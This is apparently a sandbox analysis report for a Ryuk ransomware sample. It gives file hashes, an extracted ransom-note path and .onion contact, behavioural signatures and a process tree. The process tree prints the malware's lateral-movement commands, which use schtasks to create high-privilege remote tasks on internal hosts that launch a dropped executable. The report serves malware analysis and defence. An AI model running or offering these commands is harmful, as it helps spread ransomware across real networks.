Overview
overview
10Static
static
80323b4326b...02.exe
windows7_x64
100323b4326b...02.exe
windows10_x64
100898a80dc2...92.exe
windows7_x64
100898a80dc2...92.exe
windows10_x64
100aaecf7f77...91.exe
windows7_x64
100aaecf7f77...91.exe
windows10_x64
10150e8ef3f1...02.exe
windows7_x64
10150e8ef3f1...02.exe
windows10_x64
1023e95ba676...7f.exe
windows7_x64
1023e95ba676...7f.exe
windows10_x64
1028e7dc4aeb...33.exe
windows7_x64
28e7dc4aeb...33.exe
windows10_x64
10350b0d6ae2...d7.exe
windows7_x64
1350b0d6ae2...d7.exe
windows10_x64
13a6ebac4f8...ca.exe
windows7_x64
103a6ebac4f8...ca.exe
windows10_x64
103fe801df14...4f.exe
windows7_x64
83fe801df14...4f.exe
windows10_x64
841367ad447...00.exe
windows7_x64
1041367ad447...00.exe
windows10_x64
1048f4749f13...77.exe
windows7_x64
148f4749f13...77.exe
windows10_x64
1499d936c22...82.exe
windows7_x64
10499d936c22...82.exe
windows10_x64
104b5a6926ab...d1.exe
windows7_x64
14b5a6926ab...d1.exe
windows10_x64
14bb0d8eb6b...81.exe
windows7_x64
104bb0d8eb6b...81.exe
windows10_x64
105de3d5a337...ed.exe
windows7_x64
105de3d5a337...ed.exe
windows10_x64
105e2b2fe65d...20.exe
windows7_x64
15e2b2fe65d...20.exe
windows10_x64
3Analysis
-
max time kernel
144s -
max time network
154s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
30-03-2021 11:28
Behavioral task
behavioral1
Sample
0323b4326bd6674f7d78360bb6544c4b34067066dda31e45edee91dec021e702.exe
Resource
win7v20201028
windows7_x64
Behavioral task
behavioral2
Sample
0323b4326bd6674f7d78360bb6544c4b34067066dda31e45edee91dec021e702.exe
Resource
win10v20201028
windows10_x64
Behavioral task
behavioral3
Sample
0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe
Resource
win7v20201028
windows7_x64
Behavioral task
behavioral4
Sample
0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe
Resource
win10v20201028
windows10_x64
Behavioral task
behavioral5
Sample
0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
Resource
win7v20201028
windows7_x64
Behavioral task
behavioral6
Sample
0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
Resource
win10v20201028
windows10_x64
Behavioral task
behavioral7
Sample
150e8ef3f1b0d5b5b2af2ffc8d540cb0e36ecdcaf5001bab2f318e36a3c25302.exe
Resource
win7v20201028
windows7_x64
Behavioral task
behavioral8
Sample
150e8ef3f1b0d5b5b2af2ffc8d540cb0e36ecdcaf5001bab2f318e36a3c25302.exe
Resource
win10v20201028
windows10_x64
Behavioral task
behavioral9
Sample
23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
Resource
win7v20201028
windows7_x64
Behavioral task
behavioral10
Sample
23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
Resource
win10v20201028
windows10_x64
Behavioral task
behavioral11
Sample
28e7dc4aebbfea61a2ad942f00ecab3bbb32a636679587a6fbd6c8dd69a0ef33.exe
Resource
win7v20201028
windows7_x64
Behavioral task
behavioral12
Sample
28e7dc4aebbfea61a2ad942f00ecab3bbb32a636679587a6fbd6c8dd69a0ef33.exe
Resource
win10v20201028
windows10_x64
Behavioral task
behavioral13
Sample
350b0d6ae25e81c8394b119f4d569c083df8d17e6241d8efed0858cf91c745d7.exe
Resource
win7v20201028
windows7_x64
Behavioral task
behavioral14
Sample
350b0d6ae25e81c8394b119f4d569c083df8d17e6241d8efed0858cf91c745d7.exe
Resource
win10v20201028
windows10_x64
Behavioral task
behavioral15
Sample
3a6ebac4f83f8b9088c9e00a25d88a56fb7e46b7b8a03158682a5d7d28f0f6ca.exe
Resource
win7v20201028
windows7_x64
Behavioral task
behavioral16
Sample
3a6ebac4f83f8b9088c9e00a25d88a56fb7e46b7b8a03158682a5d7d28f0f6ca.exe
Resource
win10v20201028
windows10_x64
Behavioral task
behavioral17
Sample
3fe801df149ffae08275e24be6bce3de67e9d5407c0417542001f726541fbe4f.exe
Resource
win7v20201028
windows7_x64
Behavioral task
behavioral18
Sample
3fe801df149ffae08275e24be6bce3de67e9d5407c0417542001f726541fbe4f.exe
Resource
win10v20201028
windows10_x64
Behavioral task
behavioral19
Sample
41367ad447e3d86176713af7776c1ab22d5fc7fd0fe9584f14d201b9bf071700.exe
Resource
win7v20201028
windows7_x64
Behavioral task
behavioral20
Sample
41367ad447e3d86176713af7776c1ab22d5fc7fd0fe9584f14d201b9bf071700.exe
Resource
win10v20201028
windows10_x64
Behavioral task
behavioral21
Sample
48f4749f13582fea3e9bcc6775cce82c3c6391d2d58acd98b99d1e6acc810277.exe
Resource
win7v20201028
windows7_x64
Behavioral task
behavioral22
Sample
48f4749f13582fea3e9bcc6775cce82c3c6391d2d58acd98b99d1e6acc810277.exe
Resource
win10v20201028
windows10_x64
Behavioral task
behavioral23
Sample
499d936c223743c3d2a40c3b7b1f974cedb98951f846b163d0f17d2d38ffc282.exe
Resource
win7v20201028
windows7_x64
Behavioral task
behavioral24
Sample
499d936c223743c3d2a40c3b7b1f974cedb98951f846b163d0f17d2d38ffc282.exe
Resource
win10v20201028
windows10_x64
Behavioral task
behavioral25
Sample
4b5a6926ab9b487fca2d33ba00b4e25f731bc52a3222a6ef3141b8703c1e2cd1.exe
Resource
win7v20201028
windows7_x64
Behavioral task
behavioral26
Sample
4b5a6926ab9b487fca2d33ba00b4e25f731bc52a3222a6ef3141b8703c1e2cd1.exe
Resource
win10v20201028
windows10_x64
Behavioral task
behavioral27
Sample
4bb0d8eb6b93060941730c65ac5c11625b805f91616841cdfb887d8461aef581.exe
Resource
win7v20201028
windows7_x64
Behavioral task
behavioral28
Sample
4bb0d8eb6b93060941730c65ac5c11625b805f91616841cdfb887d8461aef581.exe
Resource
win10v20201028
windows10_x64
Behavioral task
behavioral29
Sample
5de3d5a33745739259fc03cb5a7852440c135f960e8516d92181cd16ba76e2ed.exe
Resource
win7v20201028
windows7_x64
Behavioral task
behavioral30
Sample
5de3d5a33745739259fc03cb5a7852440c135f960e8516d92181cd16ba76e2ed.exe
Resource
win10v20201028
windows10_x64
Behavioral task
behavioral31
Sample
5e2b2fe65df310fe6c81acb628701c1847e772f7cf49aaa486e298a86ae85620.exe
Resource
win7v20201028
windows7_x64
Behavioral task
behavioral32
Sample
5e2b2fe65df310fe6c81acb628701c1847e772f7cf49aaa486e298a86ae85620.exe
Resource
win10v20201028
windows10_x64
General
-
Target
0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe
-
Size
124KB
-
MD5
b16db2ad22dfe39c289f9ebd9ef4c493
-
SHA1
23ccb60927905eb9be2a9ee4230ebac0836b611c
-
SHA256
0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892
-
SHA512
5a95bda6dd3761e1a7967562c8dd1b5bf68ce7ac5e7a0c345465c012f9baa7f668080f9998cb29d8e45ba43adb3fd104ef62380818d2eab5ecf2a1e19e5b95e1
Malware Config
Extracted
C:\users\Public\RyukReadMe.html
ryuk
http://etnbhivw5fjqytbmvt2o6zle3avqn6rrugfc35kmcmedbbgqbxtknlqd.onion
Signatures
-
Ryuk
Ransomware distributed via existing botnets, often Trickbot or Emotet.
-
Executes dropped EXE 3 IoCs
pid Process 2536 slCCzZCZgrep.exe 212 CQPIdaNKblan.exe 4436 MCxUNeDehlan.exe -
Modifies file permissions 1 TTPs 2 IoCs
pid Process 4532 icacls.exe 4544 icacls.exe -
Drops desktop.ini file(s) 1 IoCs
description ioc Process File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\DataServices\DESKTOP.INI 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\VisioStdO365R_Subscription-ppd.xrm-ms 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\RyukReadMe.html 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\plugins\RyukReadMe.html 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\fi-fi\ui-strings.js 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\reduced_mode.png 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogoSmall.contrast-white_scale-100.png 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogo.scale-180.png 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\hi_contrast\RyukReadMe.html 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\O365HomePremR_SubTest3-ppd.xrm-ms 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\WordCombinedFloatieModel.bin 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\ECHO\RyukReadMe.html 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files\VideoLAN\VLC\VideoLAN Website.url 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\pt-br\RyukReadMe.html 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files\Common Files\microsoft shared\ink\pt-BR\RyukReadMe.html 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\management\jmxremote.access 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-swing-outline.jar 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\hu-hu\ui-strings.js 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\root\RyukReadMe.html 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\de-de\RyukReadMe.html 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\MondoR_O16ConsumerPerp_Bypass30-ppd.xrm-ms 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProPlus2019R_OEM_Perp-pl.xrm-ms 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\uk\LC_MESSAGES\RyukReadMe.html 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\he-il\RyukReadMe.html 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\cs-cz\ui-strings.js 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\da-dk\RyukReadMe.html 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\RyukReadMe.html 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\deploy\messages.properties 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\STRTEDGE\RyukReadMe.html 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProPlus2019VL_KMS_Client_AE-ppd.xrm-ms 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX64\RyukReadMe.html 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\sv-se\ui-strings.js 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\offsymb.ttf 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\MEDIA\CHIMES.WAV 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_download_18.svg 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\fi-fi\ui-strings.js 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-openide-nodes.xml 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Green.xml 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\sl-si\RyukReadMe.html 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\prc\RyukReadMe.html 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\sl-si\ui-strings.js 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files\7-Zip\Lang\va.txt 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\Outlook2019VL_KMS_Client_AE-ul.xrm-ms 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files\VideoLAN\VLC\RyukReadMe.html 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected] 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\CASCADE\CASCADE.ELM 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\root\ui-strings.js 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\ko-kr\RyukReadMe.html 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\zh-cn_get.svg 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files\7-Zip\Lang\hi.txt 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files\Common Files\microsoft shared\ink\ipssve.xml 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ExcelR_OEM_Perp-ppd.xrm-ms 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProjectStdVL_KMS_Client-ppd.xrm-ms 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\ICE\THMBNAIL.PNG 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files\Common Files\microsoft shared\ink\en-US\mip.exe.mui 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files\Microsoft Office\Office16\OSPP.VBS 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\O365ProPlusEDUR_SubTrial-pl.xrm-ms 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\UIThemes\RyukReadMe.html 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\nl-nl\ui-strings.js 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-jmx_zh_CN.jar 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\SKY\THMBNAIL.PNG 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\add_reviewer.gif 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\MEDIA\BREEZE.WAV 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ga\LC_MESSAGES\vlc.mo 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Locale\en_US\RyukReadMe.html 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4928 schtasks.exe 4020 schtasks.exe 4624 schtasks.exe 4580 schtasks.exe 5032 schtasks.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 628 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe 628 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe 628 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe 628 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe -
Suspicious use of WriteProcessMemory 54 IoCs
description pid Process procid_target PID 628 wrote to memory of 2536 628 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe 78 PID 628 wrote to memory of 2536 628 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe 78 PID 628 wrote to memory of 2536 628 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe 78 PID 628 wrote to memory of 212 628 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe 79 PID 628 wrote to memory of 212 628 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe 79 PID 628 wrote to memory of 212 628 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe 79 PID 628 wrote to memory of 4436 628 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe 80 PID 628 wrote to memory of 4436 628 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe 80 PID 628 wrote to memory of 4436 628 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe 80 PID 628 wrote to memory of 4532 628 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe 81 PID 628 wrote to memory of 4532 628 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe 81 PID 628 wrote to memory of 4532 628 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe 81 PID 628 wrote to memory of 4544 628 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe 82 PID 628 wrote to memory of 4544 628 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe 82 PID 628 wrote to memory of 4544 628 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe 82 PID 628 wrote to memory of 5020 628 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe 86 PID 628 wrote to memory of 5020 628 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe 86 PID 628 wrote to memory of 5020 628 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe 86 PID 628 wrote to memory of 5056 628 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe 85 PID 628 wrote to memory of 5056 628 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe 85 PID 628 wrote to memory of 5056 628 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe 85 PID 628 wrote to memory of 5012 628 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe 90 PID 628 wrote to memory of 5012 628 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe 90 PID 628 wrote to memory of 5012 628 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe 90 PID 628 wrote to memory of 4900 628 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe 89 PID 628 wrote to memory of 4900 628 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe 89 PID 628 wrote to memory of 4900 628 0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe 89 PID 5056 wrote to memory of 4452 5056 net.exe 94 PID 4900 wrote to memory of 5036 4900 net.exe 93 PID 4900 wrote to memory of 5036 4900 net.exe 93 PID 4900 wrote to memory of 5036 4900 net.exe 93 PID 5056 wrote to memory of 4452 5056 net.exe 94 PID 5056 wrote to memory of 4452 5056 net.exe 94 PID 5020 wrote to memory of 4752 5020 net.exe 96 PID 5020 wrote to memory of 4752 5020 net.exe 96 PID 5020 wrote to memory of 4752 5020 net.exe 96 PID 5012 wrote to memory of 5108 5012 net.exe 95 PID 5012 wrote to memory of 5108 5012 net.exe 95 PID 5012 wrote to memory of 5108 5012 net.exe 95 PID 2536 wrote to memory of 4928 2536 slCCzZCZgrep.exe 97 PID 2536 wrote to memory of 4928 2536 slCCzZCZgrep.exe 97 PID 2536 wrote to memory of 4928 2536 slCCzZCZgrep.exe 97 PID 2536 wrote to memory of 4020 2536 slCCzZCZgrep.exe 99 PID 2536 wrote to memory of 4020 2536 slCCzZCZgrep.exe 99 PID 2536 wrote to memory of 4020 2536 slCCzZCZgrep.exe 99 PID 2536 wrote to memory of 4624 2536 slCCzZCZgrep.exe 102 PID 2536 wrote to memory of 4624 2536 slCCzZCZgrep.exe 102 PID 2536 wrote to memory of 4624 2536 slCCzZCZgrep.exe 102 PID 2536 wrote to memory of 4580 2536 slCCzZCZgrep.exe 104 PID 2536 wrote to memory of 4580 2536 slCCzZCZgrep.exe 104 PID 2536 wrote to memory of 4580 2536 slCCzZCZgrep.exe 104 PID 2536 wrote to memory of 5032 2536 slCCzZCZgrep.exe 105 PID 2536 wrote to memory of 5032 2536 slCCzZCZgrep.exe 105 PID 2536 wrote to memory of 5032 2536 slCCzZCZgrep.exe 105
Processes
-
C:\Users\Admin\AppData\Local\Temp\0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe"C:\Users\Admin\AppData\Local\Temp\0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe"1⤵
- Drops desktop.ini file(s)
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:628 -
C:\Users\Admin\AppData\Local\Temp\slCCzZCZgrep.exe"C:\Users\Admin\AppData\Local\Temp\slCCzZCZgrep.exe" 9 REP2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2536 -
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.38 /TN 2wjHUJm /TR "C:\Users\Public\slCCzZCZgrep.exe" /sc once /st 00:00 /RL HIGHEST3⤵
- Creates scheduled task(s)
PID:4928
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.40 /TN 6d1imEt /TR "C:\Users\Public\slCCzZCZgrep.exe" /sc once /st 00:00 /RL HIGHEST3⤵
- Creates scheduled task(s)
PID:4020
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.27 /TN paLnS0U /TR "C:\Users\Public\slCCzZCZgrep.exe" /sc once /st 00:00 /RL HIGHEST3⤵
- Creates scheduled task(s)
PID:4624
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.34 /TN BEblmdD /TR "C:\Users\Public\slCCzZCZgrep.exe" /sc once /st 00:00 /RL HIGHEST3⤵
- Creates scheduled task(s)
PID:4580
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.23 /TN DzXZo8s /TR "C:\Users\Public\slCCzZCZgrep.exe" /sc once /st 00:00 /RL HIGHEST3⤵
- Creates scheduled task(s)
PID:5032
-
-
